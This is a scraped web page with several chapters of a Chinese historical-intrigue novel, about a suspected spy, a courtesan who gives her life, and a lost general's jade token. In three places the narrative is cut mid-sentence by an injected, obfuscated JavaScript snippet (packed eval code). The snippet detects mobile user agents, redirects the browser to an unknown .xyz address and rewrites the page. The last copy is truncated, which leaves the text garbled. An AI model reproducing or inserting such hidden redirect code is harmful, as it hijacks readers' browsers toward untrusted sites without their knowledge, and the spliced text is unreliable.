虽然细细想来,这个答案里破绽颇多,但柳行云心乱之下,已无心琢磨:“小六有心保住温公子的性命,于是便劝说阿贵,温公子只是朝臣之子,即便是死了,未必能掀起什么波澜。但夏翌身份尊贵,又是平阳王世子,若是他死了,燕凉两国之间就算是想息事宁人也再无可能。然而没想到的是,夏翌虽是死了,前去动手的青鹞却也因此暴露,阿贵多年潜伏伪装的身份更是保不住了。事情最终功亏一篑……大概是因为这样,主上才会如此待他,以示惩戒。” 大胡子依旧还是不解:“若是如此,你即便回到大理寺,又如何能够救他?” 柳行云苦笑了起来:“回去之后,我便会向朱大人说明我真实的身份。然后我还会告诉他,这些年来我所打探到的所有消息,都已经交到了小六手中。主上耳目众多,在大理寺中也安插了不少人手。我所招供的一切,必定会传进他的耳朵。为了那些消息,主上或许会留小六一条性命……” 大胡子仔细想了想:“你虽与庆国暗探有勾连,身上却并无青鹞的印记,不然朱大人也不会对你这般客气……所以你口中的主上是谁?你和他究竟是在为谁做事?” 柳行云摇了摇头:“我这样的人只是依命办事,根本不会知道主上的真实身份,何况我与小六虽然常有合作,但却并非听命于同一人……阁下身在江湖,又是收银子办事,此事与你无关,你又何必再问呢?” 大胡子深知她所言不虚,倒也没再继续逼问下去。 许久之后,他轻轻叹了口气:“还有一件事……大理寺刑法森严,一旦确认了你的身份,难免会酷刑加身。你既知他心并不在你身上,却依旧愿意舍命救他,这样做真的值得吗?” 柳行云慢慢站了起来,目光重新落在了昏迷中的马小六脸上:“朱大人的手段我是知道的,所以在被带入大理寺前,我便已服下了断魂散,不过数日之后便后悄无声息地死在牢中。若是能救下小六,我也算是死得其所,就算吃点苦头又算什么?而且我这么做也不是为了求什么回报,我只是想表明,他能为温姑娘做到的,我也能为他做到……” 一番话说完,柳行云像是再也无法压抑满心的深情与伤痛,俯身而下,在马小六因失血过多而几乎没有血色的嘴唇上轻轻落下了一个吻。 随着那个吻徐徐落下,大胡子双目微垂,默默将头扭开了。 等到柳行云推开房门,身影逐渐消失在夜色里,他才轻声一叹,走向着屋子的转角。 被柴堆掩盖着的窗棂之下,温沉吟静静站在那里。 夜风啸啸之间,将她的裙角不断掀起,她却像是根本没有觉察一般。 眼见大胡子慢慢走近,她才像是回过神来,快步迎了过去:“阿珩,你没事吧?我听卫宁说,你把自己弄伤了?” “就是些皮肉伤,不打紧。只是我看那柳姑娘心思细腻,警惕性极高,若不是真的见点血,大概也很难取得她的信任。” 温珩一边说着话,一边将粘在脸上的大胡子撕了下来:“姐姐,方才的话你都听到了吧?如今你想怎么办?” 温沉吟抬起头,看向了柳行云消失的方向:“柳姑娘此去,已是打定主意要袒露身份,为了追查她口中的消息,朱大人必然不会轻易放过她。只是断魂散一旦服下,再无可救,既然她已时日无多,晚些时候你便请廖庭多照顾着,让她少受些折磨吧。” 想到柳行云此去,已是必死之路,温珩的眼中闪过一丝不忍之色:“那马小六呢?姐姐打算如何处置?” “他?” 温沉吟眼角一挑,脸上浮出了一丝冷笑:“柳姑娘如此情真意切,宁愿舍弃性命也要救他一条命,我倒要看看,他如今还有什么好说的!” 29. 两难 穴道被解开之后,马小六终于感觉到了一阵久违的轻松。 随着浑身的僵麻感逐渐消散,他忍不住就想翻身起床,活动一下手脚。 然而下一秒,一柄架在脖子上的长剑还是让他缩紧了脖子,依旧老老实实地保持着静卧在床的姿势。 直到一声轻咳声传来,温珩将长剑微微后撤,他才小心翼翼地坐了起来。 几步之外的地方,温沉吟静静地站在那里,看向他的目光里,尽是冷意。 马小六见状,不禁轻声抱怨了起来:“你大老远的特意把我弄到这里,又封了我的穴道一直让我躺着,就是为了把柳姑娘找来凄凄切切地哭上一场,然后说些莫名其妙的话?如今她哭完了,人也走了,你究竟还想怎么样?” 温沉吟虽知他性格无赖,满口胡言,却没想到在柳行云已然真情流露,将话说得明明白白之后,依旧还在装傻充愣,一时间不由得冷笑了起来:“柳姑娘对你深情厚意,为了保你性命不惜重回大理寺受苦,对于她的种种付出,你却毫无半点怜惜之情,我实在想不通,像你这样的人,究竟有什么值得她喜欢的?” “你想不通,我还想不通呢!她自己犯了案,要回大理寺受审,我能怎么办?” “或许你有法子,让她少吃些苦头呢?” 温沉吟勉强压下心中的努气,开始循循善诱:“之前我已经说过了,只要你说出瑾哥的下落,其余的事,我都可以不再追究。而且你要知道,朱大人向来雷霆手段,如今柳姑娘既然自投罗网,他必然不会轻易罢休!但如果你愿意乖乖听话,我可以考虑安排人照顾一下柳姑娘,让她临死之前,少受些折磨…… 在她软硬皆施的劝说里,马小六面色微动,眼中渐显犹豫之色,似是已被说动。 就在温沉吟以为已将他心防攻破之时,他却忽然仰起头来:“你大费周章的折腾了这么久,无非就是见那柳姑娘承认了与庆国暗探勾连,设计了夏翌被杀一事,却肯舍身护我,所以觉得我的身份也有可疑,对吧?” “那不然呢?” “可你难道就没想过,刚才那番话,就是她故意说给你听的呢?” 温沉吟柳眉一竖,像是听到了什么笑话一般:“故意?” “是啊!” 马小六沉默了老半天,像是终于想到了合理的说辞,立马语速飞快地辩驳了起来:“她已经被朱大人盯上,无论回不回去都难逃一死,既然如此,能多拉个人下水总是好的!大理寺守备森严,哪里是想救人便能轻易救得出来的,她能顺利脱身,难道不会心下生疑?况且温公子与她说话之时,处处皆是破绽,她怎会全无觉察?既然有人给她下套,她当然会将计就计!不然就像你说的,我这样一个人,浑身都是烂毛病,又哪里会值得她如此情深意重,以命相护呢?” 听他依旧在强词夺理,温沉吟脸色微变:“所以你说了这么多,还是不愿承认了?” 马小六梗着脖子,一脸的理直气壮:“我这个人胆子是小,但是却受不得委屈,若是别人冤枉了我,我便是死,也是不会认的!” 他这打死不认的态度格外强硬,温沉吟一时间也已经无法可想。 略加思索后,她突然抽出一把匕首,直直抵在了马小六的喉间。 马小六没想到她一言不发,却突然起了杀心,瞬间大惊失色:“你这人怎么这么不讲道理,说不过我,便想要动手么?” 温沉吟手腕一紧,刀锋已然压向了他的喉结:“想必你很清楚,我之所以留你到现在,不过是为了应付联姻一事,如今夏翌已死,联姻之困便已不复存在,你既身份可疑,又没了利用价值,一刀杀了,岂不干净?” 马小六嘴唇紧咬,喉结上下滚动着,像是在判断眼前的威胁究竟是真是假。 片刻之后,他肩膀一跨,一直紧绷着的身体忽然放松了下来,嘴角也挑出了一抹笑:“我知道,你就是吓吓我,不会真的想杀我,是不是?” 话音未落,喉间猛的一阵剧痛传来,浓稠的鲜血顺着脖颈直流而下,胸口顿时濡湿成了一片。 温沉吟手间用力,一张脸也因为浸染在浓重的血腥味里,而显得越发冷酷:“你我相识不过数月,便觉得自己很了解我了?” “当然……” 喉咙被被利刃割开,马小六连咳带喘之下,声音已经变得极是沙哑,但口气却还是笑笑的:“若我不是庆国暗探,你就这样杀了我,便是杀了一个曾经对你有恩的无辜之人!若我真的是庆国暗探,若就这样死了,你岂不是错过了一个和云麾将军有关的线索?如今你得不到答案,就这样杀了我,想必不会甘心,对么?” 在他那有恃无恐的声音里,温沉吟的动作凝滞在了半空。 片刻之后,她像是彻底泄气了,将手中匕首狠狠一扔,背过身去:“阿珩,带他回去,再找个大夫过来看看!他这条命,暂时先给我留着!” 三日之后,大理寺中传来消息,柳行云因为突发恶疾,七窍流血地死在了大理寺的地牢之中。 因为死亡之前,她庆国暗探的身份已被坐实,按照燕国的律法,尸身将被拖入乱葬岗,任由兽鸟糟践啄食。 但或许是怜惜于她凄苦的出身,或许是被她舍身赴死的深情所打动,在听到这个消息之后,温沉吟还是让温珩备下了棺木,暗中收殓了她的尸身,安葬在了天启近郊的一处小山中。 料理完柳行云后事那日,温珩回到府中,只觉得心情郁郁。 不料踏进院门后,却先一步撞见马小六举着一块肉骨头,在那逗狗逗得不亦乐乎。 那日将马小六带回温府后,考虑到前期的刑讯已经让他浑身是伤,割在他喉咙上的那一刀更是几乎要了他的命,温沉吟没有再把他扔进密室受折磨,而是让他重新住回了西院,在大夫的照顾下好好调养着。 温珩原本就恨他巧言令色,用裴瑾的消息相威胁,让自己的姐姐左右为难,此刻见柳行云已然身死,他却还有兴致在那招猫逗狗,不由得更是心头火起,当即恨声嘲讽道:“你兴致到是好,这种时候还能自得其乐!” “那不然呢?” 马小六似是没能觉察到他口气中的愤恨之意,当即哑着嗓子叹了出来:“你姐姐疑心于我,也不知道什么时候就会把我拉去又折磨一顿。若此时不找些乐子让自己开心些,难道还等着没命了再来后悔不成?“ 温珩冷声一笑:“你成日里想着找乐子,难道就没想过柳姑娘现在如何了么?” 听到“柳姑娘”三字,马小六慢慢放下了手里那块肉骨头:“她之前说自己已经服下了断魂散,想来已是时日无多。如今算算时间……难道是已经死了?” 温珩实在没有想到对于一个宁愿舍身赴死,也要保护自己的女孩,他的反应竟是如此薄凉,愤懑之下忍不住踏步向前,狠狠钳住了他的喉咙:“是!她的确已经死了,而且身死之前,她将大理寺的刑法统统受了一遍,吃尽了苦头。如今即便命丧黄泉,也无法入土为安,尸身被扔在了乱葬岗,任由风吹日晒,连个坟冢也没有!” 马小六的喉部原本就伤势严重,如今被他用力掐住,一张脸瞬间变得通红。 见他连咳带喘之间,身体开始抽搐,就连挣扎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241253|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气也越来越小,温珩担心真就这样要了他的命,这才将手一松,将他推开了。 正待拂袖而去,马小六却嘿声一笑,挣扎着开口了:“温公子,如果我没记错,那柳姑娘是庆国派来的暗探吧?如今她死了,你不是应该觉得大快人心么?如此生气干什么?” 眼见温珩神情微变,他的声音里更是多出了一分嘲弄:“还是说,温公子生性多情,见不得漂亮姑娘受苦,那日与柳姑娘说了一阵子话,竟是春心萌动,忍不住开始怜香惜玉了?” 温珩再是好脾气,被他如此嘲弄,也不禁怒气勃发。 话音未落,他已经将剑一抽,剑尖直直指向马小六的心脏,像是恨不得在他身上刺出几个血窟窿。 电光火石之间,身后忽然传来一声呵斥:“阿珩,住手!” 温珩这才停下攻势,牙齿却依旧紧咬着。 温沉吟斜着眼睛,朝着喉间满是鲜血的马小六瞥了一眼,这才看向了温珩:“你跟我来,我有话和你说。” 温珩不敢多言,默默跟上了她的脚步,直至出了内院,才恨声表示:“姐,这小子满嘴胡言乱语,你为何不让我给他点教训?“ 温沉吟皱着眉:“你平日做事还算稳重,今日好端端地招惹他干什么?” 温珩只觉不忿,忍不住恨声抱怨道:“不是我要招惹他,是他故意来挑衅我!” “若非他说中了你的心事,又何来挑衅一说?” “……” 面对自家姐姐一阵见血的质问,温珩心下一凌,满腔的怒气顿时像被抽空了一般,不敢再申辩下去。 温沉吟自幼看着他长大,自然清楚自己这个弟弟性格单纯又极是心软。 如柳行云那般样貌美丽、身世凄苦又至情至性的女子,难免会让他因怜惜而心动。 但对方再是身不由己也好,身为庆国暗探,双方早已注定不能有更多的牵扯。 索性柳行云如今已然亡故,不然以温珩这怜香惜玉的性子,还不知会惹出怎样的麻烦。 想到这里,她忍不住肃声提醒道:“无论你心中怎么想,柳行云庆国暗探的身份已然查实。能让她入土为安已是额外的情分,一切到此为止也就是了,知道了么?” 温珩知道自己太过感情用事,对于她的提点并不敢反驳,只是点头之后,神情却有些犹豫:“姐姐的意思我明白。只是听闻了柳行云的死讯后,马小六的表现如此薄凉,有没有可能他们二人之间,真的并无关系?” 温沉吟重重一声叹:“他方才如此表现,不过是想撇清他和柳行云之间的关系,不然以他那见风使舵的性子,为何偏偏要在这个时候挑衅于你?难道是嫌眼下的日子过得太舒坦了吗?” 温珩闻言一怔,只觉难以置信:“一个人再是心狠,听闻同伴惨死,也不会毫不动容。我看他方才的表现不似作伪,会不会是姐姐你太多心了?” 对于温珩的质疑,温沉吟并未再做解释,但内心深处,她却知道,温珩虽然聪明,却尚未经历过男女之情,所以他也意识不到,柳行云当初为了保下马小六的性命而舍身赴死时,所流露出来的深情和眷恋,绝非刻意矫饰便能演出来的。 即便马小六并非庆国暗探,他和柳行云之间的关系,也绝不会是普通的恩客与花魁那么简单。 如今对方有意掩饰,反而愈加佐证了这一点。 只是依照马小六一路装疯卖傻的表现来看,无论如何威逼利诱,也断然不会轻易说出真相,所以温沉吟也不着急,只是依旧保持着不闻不问地状态,任由他在温府中慢慢修养,以待可探之机。 30. 渊源 柳行云死亡的消息传进温府的第二天,马小六的伤情毫无征兆地开始恶化,不仅汤药入口即吐,人也很快发起了高烧。 最初温沉吟只当是当初用刑过重引发了后遗症,因此也没太放在心上,只是叮嘱大夫好生照料着,尽力保住他一条命。 然而随着马小六的身体状况每况愈下,不仅开始呕血,人也频频陷入昏迷,温沉吟惊诧之余,倒也逐渐回过味来。 某日黄昏,听说马小六再次将熬好的汤药全部呕出之后,温沉吟特意去小厨房里煮了一碗红枣粥,亲自端进了他的房间。 刚走到门前,一股浓重的血腥味已经扑面而来,让她忍不住皱了皱眉。 随着房门被推开的声音,原本双眼紧阖的马小六眉头一动,迅速睁眼,像是即便在睡梦之中,也依旧保持着高度的警惕。 温沉吟见状,心下更加笃定,放下粥碗后,缓步走到他床前:“你感觉怎样了?我给你熬了点粥,要不要先吃一点?” 马小六似是有些意外,却还是摇了摇头:“多谢温小姐,只是我现在难受得很,实在没什么胃口。” “没胃口也是应该的,毕竟得知心爱之人惨死,却不能为她哭上一场的滋味想必很难熬。你这样频频昏迷,可是盼望着能在梦中与故人相见?” 听她口气中尽是试探之意,马小六满是虚弱地摇了摇头:“温小姐误会了,柳姑娘并非我心爱之人……” 见他已然大病在身,却依旧极力在撇清和柳行云之间的关系,温沉吟心下不屑,本欲开口嘲讽。 然而转念之间,忽然想到最后一次见到柳行云,对方那句满是绝望的“我看到了他看温小姐的眼神,才知道他从未爱过我”,不觉呼吸一窒,嘲讽之语竟是再也说不出口。 片刻之后,她像是心有所感,忍不住轻声叹了叹:“即便柳姑娘并非你心爱之人,那也是关系匪浅的知己好友。何况人与人之间的关系,很多时候也并非是一成不变的,对么?” 听她话里有话,马小六有些惊异,慢慢把头抬了起来,像是想从她的表情里,找出未言之意。 温沉吟却已在他的床头坐了下来,摆出了一副交心的架势:“我与柳姑娘虽然不过几面之缘,但同为女子,却也明白她的心意。她既倾心于你,对你又如此深情厚意,若是她还活着,你就真的舍得辜负她吗?” 马小六双眼微垂,手心渐渐抓紧了被角,像是因为她推心置腹的这番话,陷入了某种难以言状的伤感与自责之中。 就在温沉吟因为对方会就此放松警惕,吐露些许有关往事的只言片语时,马小六却忽然抬起眼睛:“你说的虽是我和柳姑娘,心里想的却是自己和云麾将军吧?云麾将军如今生死未卜,你却因为我的存在,连光明正大地为他哭上一场也做不到。这些日子,想必也很难挨吧?” 温沉吟没想到他会忽然将矛头指向自己,偏偏那些话又都戳中了她内心深处,一直无法吐露的心事,这让她惊怒之余,也不禁慌乱了起来:“瑾哥吉人自有天相,必定无病无灾!我又为何要哭?” 马小六笑了笑,口气也听不出究竟是在安慰还是在嘲讽:“是阿!云麾将军吉人自有天相,必定无病无灾。既然如此,你又何必在我这里屡加试探,给自己找不痛快呢?” 虽然早已知道,马小六看似贪生怕死,实则内心坚韧,想要撬开他的嘴巴并非轻易之事。但一切手段用尽,不仅全无收获,还被对方看透心事事实,还是让温沉吟心生挫败之感。 想到裴瑾如今或许正被庆军秘密关押,遭受着非人的刑讯,自己却什么忙也帮不上,她的眼眶很快红了起来。 怔仲之间,马小六用力将身体撑起,小心翼翼地伸出手,抚向了她的眼角。 温沉吟不料他会有此举动,正待怒声呵斥,马小六却已经把手收了回去,然后低声劝道:“你别哭了。云麾将军心里记挂着你,若知你为了他如此伤心,一定会很难过的。” 因为喉部受伤,马小六的声音听上去比平日要低沉沙哑,那饱含着怜惜和温柔的语句此刻从他口中说出,竟像在真心诚意地劝慰着她。 温沉吟习惯了他反复无常的狡诈姿态,此刻面对这温情脉脉的安慰,别扭之余,竟也有些不知所措。 略加犹豫后,她慢慢起身,从怀中拿出了一枚银环,放在了粥碗旁:“柳姑娘身死之时,已别无他物,只留下了贴身佩戴的这枚银环,我想你或许想要留着它做个纪念,便暗中命人拿了过来。另外,她的尸身葬在了城西的青秀山,你若想去祭拜,便告诉卫宁一声,他可以替你安排。” 或许是温沉吟这暂不追究的态度,又或许是知道了柳行云已然入土为安,这番见面之后,马小六原本日渐恶化的伤情,开始一点点地好了起来。 待到他能勉强下地之后,便第一时间找到了卫宁,说是想要借一匹马出门。 卫宁虽说看他不顺眼,但温沉吟有交代在先,到也不敢怠慢,很快便将替他备好了一匹马。 只是待到马小六出门之后,他很快又安排了一辆马车。 那一日,顺着马蹄的足迹,温沉吟一路跟着他到了城郊。 直至到了青秀山山脚,才看见那匹马已被人栓在了一棵大树下,正悠哉游哉地吃着草。 温沉吟见状已知他出门的目的,因此也不着急,命卫宁候在原地后,便一步步朝着柳行云坟冢的方向走去。 半炷香的功夫后,在距离坟冢十余尺之外的一丛灌木旁,温沉吟停下了脚步。 坟冢的地方,已经摆上了蜡烛、经幡和一些酒水吃食。 马小六拿着不知从哪里折来了一些树枝藤条,正认真地清扫着坟冢前的落叶和杂草。 一切清理结束后,他在坟前燃起了一个火堆,开始焚烧纸钱、元宝、金砖之类的东西。 待到祭祀之物都烧得差不多了,他从口袋里拿出了那枚银环,注视良久之后,轻轻抛入了火堆中。 温沉吟实在没想到他会有此举动,惊诧之下,不禁缓步走了过去:“这是柳姑娘唯一留下的东西了,原本想着给你留个念想,你竟然也舍得就这么烧了?” 马小六笑了笑,似是对她的出现毫不意外:“情谊自在人心,又何必拘泥于念想之物?这枚银环留在柳姑娘那里,或许还能帮着她在黄泉下与亲人相认,又何必留在我这里白白糟蹋了?” 温沉吟很敏感地捕捉到了某些关键信息,不禁轻声试探道:“听你这口气,倒似对柳姑娘的身世很熟悉?怎么,这玉环有什么特别的来历么?” “嗯……” 让她意外的是,马小六并未向平日里那样在和她打马虎眼,而是默默然地点了点头:“之前我不知你身份,所以骗了你,其实我并非是被父母抛弃,而是很小的时候,家中遭遇变故,母亲被奸人所害。母亲死后,行凶之人原本也想对我下手,但或许是见我太小,想起了自己的孩子,又或许是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248234|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将我带在身边,能够替他挡灾,所以最终留下了我一条命……” 想到当初聊及父母之情时,对方那满是眷恋不舍的神情,温沉吟心下恍然:“那后来呢?此事与柳姑娘有何关系?” 马小六双眼微阖,像是陷入了深深的回忆中:“因为我年纪太小,尚未断奶,那人本想将我带回家中,让自己的夫人照顾,不想到家之后才发现他的屋子已经被大火烧毁,夫人葬身火场,年仅三岁的女儿也不知所踪……再无亲人的情况下,他便将我当儿子一样养在了身旁,教我读书识字和一些粗浅的拳脚功夫。但很多时候,我见他喝醉了便会自言自语,或是暗自流泪,便知道他其实一直都在惦记着自己失踪的女儿……” 温沉吟听到此处,已然反应了过来:“他的女儿……难道便是柳姑娘?” “是……只是这些事原本我是不知道的,但某次我无意中见到了她后颈处一块月牙形状的胎记,便起了疑心。后来我几番试探,知道了她原本姓曹,就更加确定的她的身份。只是她与父亲分离时只有三岁,此后就算再见,大概也难以认出彼此。这块银环是她出生时,她父亲送给她的礼物,她既是一直戴着,大概也是盼着能早日父女团聚吧……” 温沉吟没想到他们之间竟有这样一段错综复杂往事,只觉心下黯然。 许久之后,她才轻声问道:“那奸人与你有杀母之仇,你竟还肯如此善待他的女儿?” “我还能怎么办呢?” 马小六叹了叹,声音虽不大,却带着显而易见的痛苦,显然这个问题也一直在他心中纠结着着:“他虽杀了我的母亲,却也待我如儿子一般,一路护着我长大,临死之前,更是宁愿冒着被我弃尸街头的风险,将事情的真相原原本本地告诉了我。至于柳姑娘,她什么都不知道,不过也是一个自幼便失去双亲的可怜人罢了……” 虽然他有与人为善之心,并未因柳行云父亲的仇怨而迁怒于她,但因为过往的渊源,他们之间的男女情分也就此断了所有的可能。M 温沉吟被他口气中的痛苦与无奈所感染,声音放得更轻了些:“既然那奸人已死,又告诉了你真正的身事,这些年以来,你都没有找过你尚在世间的亲人么?” “哪有那么容易的?” 马小六摇了摇头,不断跳动着的火光燃烧在他的眼底,像是已经烧尽了他所有的希望:“母亲遇害时,我尚未满月,家中之事一概不知。从那奸人那里,我也只知道自己出身在燕国而已……就这点信息,又让我如何去找呢?” 听他口气酸涩,温沉吟也觉得心中怅然。 那种明明心有牵挂,却无法与牵挂之人相见的痛苦更是让她的心不由自主地软了下来。 几乎同时,马小六抬起眼睛,深深地看向了她:“温小姐,我知道因为世子遇害一事,以及柳姑娘之前的那番话,让你对我放心不下,但我可以对天发誓,今日我所说之事,绝无半分虚言!我既随你进了温府,便已将自己的性命交在了你的手中。还望你能放下戒备,信任于我……可以吗?” 虽然对方自揭伤疤,说出这段往事,甚至不惜立下重誓,无非就是要洗脱自己的嫌疑,争取自己的信任,但温沉吟的疑心并未就此打消。 只是对方既已把话说到了这个份上,多问也是无用。 四目交接之下,温沉吟终于还是不置可否地笑了笑:“走吧……这里风大,再不下山,只怕你的病势又要反复了。” 31. 玉牌 青秀山之行后,历经了半个多月的修养,马小六的身体逐渐恢复如初。 只是留在脖子上的那道疤痕,依旧又长又深,像是在提醒着他与温沉吟之间的某些心结,并未就此平复。 或许是历经夏翌一事后彻底长了教训,又或许是懒得编造借口,在旁人面前解释那道伤疤的来源,恢复健康后的马小六像是彻底转性了一般,一直老老实实地呆在府里,几乎没有再出过门。 见他不再生事,温沉吟也不与他为难,考虑到联姻之困已解,夏翌之死也因为魏栩明的尽力安抚和鸿胪寺的努力调和下,没有让燕、凉两国生出太大的风波,她干脆就把全副心思都放在了对裴瑾下落的追查上。 不料平静的日子刚过了没多久,曾经在柳行云一事上对他们施以援手的大理寺寺丞廖庭却忽然敲开了温府的大门。 温沉吟与廖庭相交不深,却知道此人心思机敏,头脑灵活,在大理寺中一直是被上司寄予厚望的重要角色。 多年前因为追查一宗命案,廖庭在途中遇险,性命垂危之际,却被路过的温珩所救,才总算是保下了一条性命。 至此之后,廖庭便将温珩视作挚友,但凡逢年过节,总会备上礼物登门拜访。 只是两人虽然性情相投,但毕竟年龄上差了十余岁,平日里廖庭又总是忙于公务,因此私下里的来往也并不多。 此番并非节庆之日,对方却忽然登门,这让温沉吟惊诧之余,也不禁开始担心,是否是柳行云一事露出了什么破绽,引来了对方的疑心。 当初劫柳行云出大理寺,虽说有温珩的这份人情在,但毕竟事关重大,因此温氏姐弟并没有对廖庭说出全部的真相,只是说因为怀疑柳行云与夏翌之死有所关联,因此想假装劫狱,让她在情绪放松之时,诱她说出真相。 届时大理寺上下正因久审柳行云却不得结果而压力重重,温珩的建议刚好也算是给他们送来了一剂妙方,细问过整个计划的种种细节后,廖庭便配合他们演完了整场戏。 时至柳行云主动回归,为了防止廖庭生疑,温珩便按照温沉吟的交代主动送上消息,说是营救过程中,柳行云发现了破绽,疑心这次劫狱是同党怕她在牢中经受不住刑讯,吐露更多的信息,才会想要杀她灭口。 为了免遭折磨,她才会重返大理寺,以求庇护。 虽然对于这番说辞,当初廖庭并未过多追究,但温沉吟自知其中破绽颇多,因此也一直在小心提防着。 原本她以为,随着柳行云之死,一切已然归于平静,却没料到,时隔大半个月后,对方却会忽然在温府现身。 比起她戒备重重地状态,廖庭那边却要坦然得多。 进门之后没多久,便主动说明了来意:“之前多亏温小姐相助,才让柳行云顺利招供,在下一直想要登门致谢。只是公务繁忙,难以抽身,不得已才拖到了这个时候。” 他这番话说得极是真挚,并无半点试探之意,温沉吟心下一松,赶紧起身还礼:“廖大人客气了,世子一事关系重大,又牵涉到庆国暗探,有能帮上忙的地方,自然应该尽心。只是大人如此繁忙,想来是从柳姑娘那里还有其他收获?” 廖庭闻言叹了叹,眉宇中闪过一丝失望:“说来惭愧,那柳行云虽是女子,但嘴却严得很,接连几日审下来,除了世子一事外,其他事情竟是没有吐露半个字!后来她暴毙狱中,这条线索也就彻底断了,温小姐当初的一番心思,也算是浪费了……” 温沉吟想了想,轻声提醒道:“柳姑娘虽死,但她常驻青楼,又不会武功,那么无论是传递消息,还是谋局杀人,总要有人接应配合才是。廖大人若是查一查她身边往来之人,说不定会有新的线索呢?” 廖庭不料她的想法竟与自己不谋而合,眼中流露出欣赏之色:“温小姐所说之事,这些日子我们已经在办了。除了莳花馆的妓倌老鸨、她的贴身侍女之外,就连柳行云之前接待过的恩客,我们都一一进行了盘查。也正因如此,在下今日才会贸然登门……” 温沉吟只当他是盯上了马小六,抬着茶杯的手不禁抖了抖,但表面依旧不动声色:“廖大人是因为瑾哥曾经去柳姑娘那里喝过酒,所以也想找他问问话吗?” 廖庭赫然一惊,赶紧否认:“温小姐误会了!云麾将军征战沙场,杀敌无数,向来被庆国人所忌惮,又如何会与庆国暗探扯上关系?只是吧……” “只是什么?” “只是大理寺在盘查的过程中,从柳行云接待过的一位恩客那里搜出了一面玉牌,似是云麾将军之物……在下知道云麾将军此刻正在温府休养,因此特意将它带了过来,若是确认无误,便准备物归原主。” 一番话说完,廖庭从怀中拿出了一面玉牌,恭恭敬敬地递到了温沉吟眼前。 那是一块四方形的玉牌,由上好的蓝田玉雕刻而成。 牌身四周雕刻着合欢花纹式,正中间则是一个笔锋潇洒的“裴”字。 这是裴瑾出生前,裴行州和虞澜婴为了庆祝孩子的到来,特意找了玉匠,为他所制,自裴瑾出身那日起,便一直随身佩戴着,鲜少离身。 早些年裴瑾回京述时,温沉吟还陪他一起去玉器铺子里护养过。 如今玉牌尚在,它的主人却已经音讯全无,只要一想到这里,她就不禁心如刀割。 见她目光怔怔,脸上却尽是哀伤之色,廖庭也不禁紧张了起来:“温小姐,这面玉牌是有什么问题么?难道这并非是云麾将军之物?” 温沉吟这才回过神来,赶紧凝了凝神:“多谢廖大人,这块玉牌的确是瑾哥的。就是不知它为何会落入旁人之手,你可曾查问过么?” “那是自然……” 听闻自己的好意总算没有白费,廖庭脸上也不禁露出欣慰之色:“之前我便已经细细问过了,那人说,这枚玉牌是三个月前,他在越国的一处山林里捡到的……” “越国?” 这一下,温沉吟是真的震惊了。 三个月前,涧云峡之战结束,裴瑾也就此失去了行踪。 可他随身携带的玉牌却莫名出现在了越国,那或许就可以证明,自他失踪之后,曾经在越国出现过。 那一刻,温沉吟仿佛在重重迷雾中窥见了一丝光亮,激动之下,就连声音都不自觉地颤抖了起来:“这其中究竟怎么回事,还望廖大人细说。” 按照廖庭所说,捡到玉牌的那名恩客名叫徐恙,家中世代以驯马为生。 到了他这一辈,因为驯养的马匹质量出众,口碑也越来越好,便被越国皇室招揽入监牧局任职。 有一日,有人向越国太子萧权进献了一匹通体血红的好马,萧权心中欢喜,便迫不及待就想去郊外试驾,然而见那红马性格极烈,又担心自己驾驭不了,于是出发之前,便召了徐恙同行。 徐恙难得有机会能够近身侍奉太子,有心好好表现,到了目的地后,很快便拿出了自己的看家本领,卖力调教了一番。纵马跑了几圈后,眼见那红马安静乖巧,不再有半点反抗的意思,便放心将它交到了萧权手中。 不料萧权骑上马背没多久,一直表现温驯的红马却忽然发了性子,连声嘶鸣之下,狂奔着跑进了一片荒林之中。 徐恙心知不妙,于是也赶紧骑上一匹马沿路追了过去,然而红马的速度太快,一路横冲直撞,不断扑腾着,似乎是不把马背上的人甩下去,决不罢休。 以那红马的身高体量以及疾奔时的速度,一旦被它甩下,只怕是非死即伤。因此,徐恙也只能一边追赶,一边高声提醒着萧权,千万要将抓紧缰绳。 然而让他始料未及的却是,发现无法将人甩下后,那匹红马竟是发疯一般,直直地向着山崖边上冲去。 眼见一人一马就要坠下山崖,同归于尽,一青年男子忽然从荒林深处飞纵而出,跃上马背,紧紧抓住了缰绳。 红马骤然吃痛,发出了一声长长的嘶叫,前蹄高高扬起。 那人借机一个使力,竟是硬生生地调转了马头的方向。 眼见萧权死里逃生,徐恙不禁长长松了一口气,但看着那匹依旧处于暴戾状态的红马,又忍不住忧心忡忡。 情急之间,那青年已经抓起了萧权的肩膀,将扔下了马背。 落地之时,虽说萧权满是狼狈地打了几个滚,但因为那恰到好处的力道,竟也毫发无伤。 另一边,在青年娴熟的操控下,红马奔跑的速度逐渐变缓,情绪也很快安静了下来。 青年这才翻身下马,把缰绳交到了匆匆迎来的徐恙手中。 萧权在生死边缘打了个滚,只觉得又惊又怒,眼见徐恙出现,当即怒声呵斥道:“你好大的胆子,居然敢设计谋害于我!” 徐恙虽说搞不清楚这马为何会好端端地忽然发疯,却也不敢为自己申辩,只能跪在地上,使劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 